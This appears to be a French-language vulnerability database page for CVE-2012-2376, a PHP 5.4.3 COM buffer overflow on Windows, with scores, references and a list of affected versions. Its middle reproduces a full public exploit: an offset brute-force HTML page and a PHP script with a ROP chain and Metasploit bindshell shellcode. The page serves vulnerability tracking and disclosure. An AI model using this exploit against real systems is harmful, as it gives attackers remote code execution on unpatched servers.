CVE-2012-2376 : Détail

CVE-2012-2376

Overflow
14.33%V3
Network
2012-05-21
13h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in the com_print_typeinfo function in PHP 5.4.3 and earlier on Windows allows remote attackers to execute arbitrary code via crafted arguments that trigger incorrect handling of COM object VARIANT types, as exploited in the wild in May 2012.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18861

Date de publication : 2012-05-10 22h00 +00:00
Auteur : 0in
EDB Vérifié : Yes

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) // Exploit author: 0in (Maksymilian Motyl) // Email: 0in(dot)email(at)gmail.com // * Bug with Variant type parsing originally discovered by Condis // Tested on Windows XP SP3 fully patched (Polish) =================== offset-brute.html =================== <html><body> <title>0day</title> <center> <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br> <textarea rows=50 cols=50 id="log"></textarea> </center> <script> function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds){ break; } } } function makeRequest(url, parameters) { var xmlhttp = new XMLHttpRequest(); if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); if (xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { // IE try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!xmlhttp) { alert('Giving up :( Cannot create an XMLHTTP instance'); return false; } xmlhttp.open("GET",url,true); xmlhttp.send(null); return true; } test=document.getElementById("log"); for(offset=0;offset<300;offset++) { log.value+="Trying offset:"+offset+"\r\n"; makeRequest("0day.php?offset="+offset); sleep(500); } </script></body></html> =================== 0day.php =================== <?php $spray = str_repeat("\x90",0x200); $offset=$_GET['offset']; // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll] $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1); // :> 0x048d0030 $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1); //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll] $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1); // Adress of VirtualProtect 0x7c801ad4 $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1); // LPVOID lpAddress = 0x048d0060 $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1); // SIZE_T dwSize = 0x01000000 $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1); // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0 $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1); // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000 // 0x048d0068 $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1); //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll] $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4); // Ret Address = 0x048d0080 $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4); $stacktrack = "\xbc\x0c\xb0\xc0\x00"; // Universal win32 bindshell on port 1337 from metasploit $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0". "\x81\xc4\xd0\xfd\xff\xff". "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d". "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96". "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2". "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0". "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41". "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82". "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2". "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39". "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9". "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b". "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a". "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88". "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01". "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20". "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e". "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39". "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44". "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96". "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38". "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9". "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09". "\x4e\x33\xe4\x96\xcd\xcc\x32\x69"; $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode))); $fullspray=""; for($i=0;$i<0x4b00;$i++) { $fullspray.=$spray; } $j=array(); $e=array(); $b=array(); $a=array(); $c=array(); array_push($j,$fullspray); array_push($e,$fullspray."W"); array_push($b,$fullspray."A"); array_push($a,$fullspray."S"); array_push($c,$fullspray."!"); $vVar = new VARIANT(0x048d0038+$offset); // Shoot him com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10] echo $arr; echo $spray; ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.4.3

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.0

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.5

Php>>Php >> Version 5.2.6

Php>>Php >> Version 5.2.7

Php>>Php >> Version 5.2.8

Php>>Php >> Version 5.2.9

Php>>Php >> Version 5.2.10

Php>>Php >> Version 5.2.11

Php>>Php >> Version 5.2.12

Php>>Php >> Version 5.2.13

Php>>Php >> Version 5.2.14

Php>>Php >> Version 5.2.15

Php>>Php >> Version 5.2.16

Php>>Php >> Version 5.2.17

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

Php>>Php >> Version 5.3.8

Php>>Php >> Version 5.3.9

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

Microsoft>>Windows >> Version *

Références

http://www.exploit-db.com/exploits/18861/
Tags : exploit, x_refsource_EXPLOIT-DB
http://openwall.com/lists/oss-security/2012/05/20/2
Tags : mailing-list, x_refsource_MLIST
http://www.securitytracker.com/id?1027089
Tags : vdb-entry, x_refsource_SECTRACK